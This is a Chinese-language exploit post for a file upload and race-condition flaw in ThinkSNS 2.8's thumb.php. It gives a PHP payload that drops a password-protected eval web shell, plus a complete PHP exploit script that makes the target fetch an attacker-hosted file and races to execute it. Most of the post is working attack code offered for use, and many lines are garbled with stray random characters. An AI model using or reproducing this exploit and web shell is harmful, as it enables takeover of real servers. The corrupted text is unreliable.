Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
: f0 W" T: L9 \2 D& U; y2 b, V存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
- g6 I* L, a" s# ]/ s/ w6 I+ X存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
6 }% p7 n9 s4 h! |1 S文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
' q" ]4 Y7 u/ x& g
3、        上传临时文件。
4、        访问临时文件。
- n6 W8 X/ O+ |# H但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
6 I/ }* M" O5 m% Z" a2 KExploit文件内容如下：（这个我就不详细解释了）
<?php
( I2 c/ R. y7 K3 s. C; W, v6 H7 ]error_reporting(0);
$ }" X0 t4 a0 ~. fset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
. i# X) T9 P9 L' N( b% d5 `" N$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
8 g$ U! z$ h4 n1 F  [}
function http_recv($fp) {
9 D) M/ |. M. t. d+ r2 U( z- D$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
) |, w, j5 s8 Oreturn $ret;
}
+ m6 m9 y: p: H. M7 B" i9 K0 |; g* Zprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
/ L- v% h% ]  {5 o& c) R( C7 iprint “# Discovered by 韦鲲鹏 #\n\n”;
1 t) v' E- p" l3 n' @' Hif ($argc < 4) {
% W* V: @7 T, a4 t1 t! eprint “Usage:   php <host> <path> <romote_url>\n”;
0 ~' [2 A5 I3 G* G9 l. @print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
4 X- N4 Q% v6 e& \* Edie();
}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
6 R9 l7 P: j, D  g8 ~$headers_up .= “Host: “.$host.”\r\n”;
9 K0 C' K1 h, j: o& f2 \$headers_up .= “Connection: close\r\n\r\n”;
( J! |) |7 h" @; lecho $headers_up;
, y2 b9 c) ]3 ?( s//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
2 w7 v- W3 |9 ?# hecho $headers;
4 C1 U2 \/ s# L5 ]) X9 I7 ewhile(++$i<10) {
fclose(http_send($host, 80, $headers));
}
+ Z4 Q/ R8 b5 Y* S+ q3 [* Xfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
  B$ u! J& ~! }+ G7 cfclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
) ~' J% `1 Z8 }  `8 J) ~$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
5 h3 s2 M, j7 f5 c, \if(preg_match(‘/200 OK/’,$res)) {
: Y$ f7 _: \7 uprint “Success!\n\n”;
} else {
print “Fail!\n\n”;
}
?>
​